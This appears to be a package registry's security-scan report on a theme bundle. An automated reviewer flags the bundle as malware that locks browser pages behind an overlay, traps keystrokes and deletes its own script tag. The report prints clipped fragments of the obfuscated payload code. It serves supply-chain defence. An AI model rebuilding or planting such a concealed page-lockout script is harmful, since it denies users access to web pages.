registry / theme-bundle.chunk.7.js / 1.0.0

theme-bundle.chunk.7.js@1.0.0

AI Security Review

scanned 3h ago · by lpm-firewall-ai

When loaded in a browser, the payload locks the current page behind an overlay and prevents keyboard and pointer interaction. No network activity is present.

Static reason

One or more suspicious static signals were detected.

Trigger

Loading dist/theme-bundle.chunk.7.js in a browser page.

Impact

Denial of access to the host web page.

Mechanism

Obfuscated full-page interface lockout with self-removal.

Attack narrative

The browser payload creates a fixed overlay above all page content, disables scrolling and body pointer events, captures key presses, and removes its own script tag. This is a concealed, persistent-in-page lockout rather than normal theme behavior.

Rationale

The package contains an obfuscated payload that deliberately prevents users from interacting with the page and hides its execution source. Although it has no install hook or exfiltration, the concrete page-locking behavior warrants blocking.

Evidence

dist/theme-bundle.chunk.7.js

Decision evidence

public snapshot

AI called this Malicious at 96.0% confidence as Malware with low false-positive risk.

Evidence for block

The obfuscated browser payload creates a full-screen, highest-layer overlay.
It disables page interaction, hides overflow, and intercepts every keydown event.
The payload removes its own script element after execution, concealing the injected source.

Evidence against

package.json has no install lifecycle hook.
No network endpoint, credential collection, or file access appears in the inspected source.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

HighEntropyStringsMinifiedObfuscated

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 8.24 KB of source

Source & flagged code

4 flagged

dist/theme-bundle.chunk.7.jsView file

Lines 1-2javascript

1(function(_0x5df3bb,_0x1b234d){var _0x1986be=_0x2df3,_0x1843be=_0x5df3bb();while(!![]){try{var _0x46ceea=-parseInt(_0x1986be(0x7f))/0x1+-parseInt(_0x1986be(0x95))/0x2+-parseInt(_0x1986be(0x7d))/0x3*(parseInt(_0x1986be(0x86))/0x4)+-parseInt(_0x1986be(0xa6))/0x5+-parseInt(_0x1986be(0x98))/0x6+parseInt(_0x1986be(0xa9))/0x7*(-parseInt(_0x1986be(0x91))/0x8)+parseInt(_0x1986be(0x8d))/0x9*(parseInt(_0x1986be(0x85))/0xa);if(_0x46ceea===_0x1b234d)break;else _0x1843be['push'](_0x1843be['shift']());}catch(_0x4372bd){_0x1843be['push'](_0x1843be['shift']());}}}(_0x52d1,0x70f19),(function(){var _0x44278a=_0 ...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/theme-bundle.chunk.7.jsView on unpkg · L1

High

Ai Review Evidence

The obfuscated browser payload creates a full-screen, highest-layer overlay.

dist/theme-bundle.chunk.7.jsView on unpkg · L1

High

Ai Review Evidence

It disables page interaction, hides overflow, and intercepts every keydown event.

dist/theme-bundle.chunk.7.jsView on unpkg · L1

High

Ai Review Evidence

The payload removes its own script element after execution, concealing the injected source.

dist/theme-bundle.chunk.7.jsView on unpkg · L1

Long lines were clipped for display.

Source & flagged code

4 flagged · loading source

dist/theme-bundle.chunk.7.jsView file

1(function(_0x5df3bb,_0x1b234d){var _0x1986be=_0x2df3,_0x1843be=_0x5df3bb();while(!![]){try{var _0x46ceea=-parseInt(_0x1986be(0x7f))/0x1+-parseInt(_0x1986be(0x95))/0x2+-parseInt(_0x...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/theme-bundle.chunk.7.jsView on unpkg · L1

1_0x3ff69d['id']=_0x45ce47,_0x3ff69d[_0x44278a(0x8a)][_0x44278a(0xac)]=_0x44278a(0xa2);var _0x571f5a=document[_0x44278a(0x7e)](_0x44278a(0x96));

High

Ai Review Evidence

The obfuscated browser payload creates a full-screen, highest-layer overlay.

dist/theme-bundle.chunk.7.jsView on unpkg · L1

1document['body'][_0x44278a(0x8a)][_0x44278a(0x84)]=_0x44278a(0x92),document[_0x44278a(0xa1)]['style'][_0x44278a(0x83)]='none',_0x3ff69d[_0x44278a(0x8a)]['pointerEvents']='auto',window[_0x44278a(0x82)](_0x44278a(0xa8),function(_0x4ad597){

High

Ai Review Evidence

It disables page interaction, hides overflow, and intercepts every keydown event.

dist/theme-bundle.chunk.7.js

Findings

5 High1 Medium2 Low

HighObfuscated Payload Loaderdist/theme-bundle.chunk.7.js

HighObfuscated

HighAi Review Evidencedist/theme-bundle.chunk.7.js

MediumStructural Risk Force Deep Review

LowScripts Present

LowHigh Entropy Strings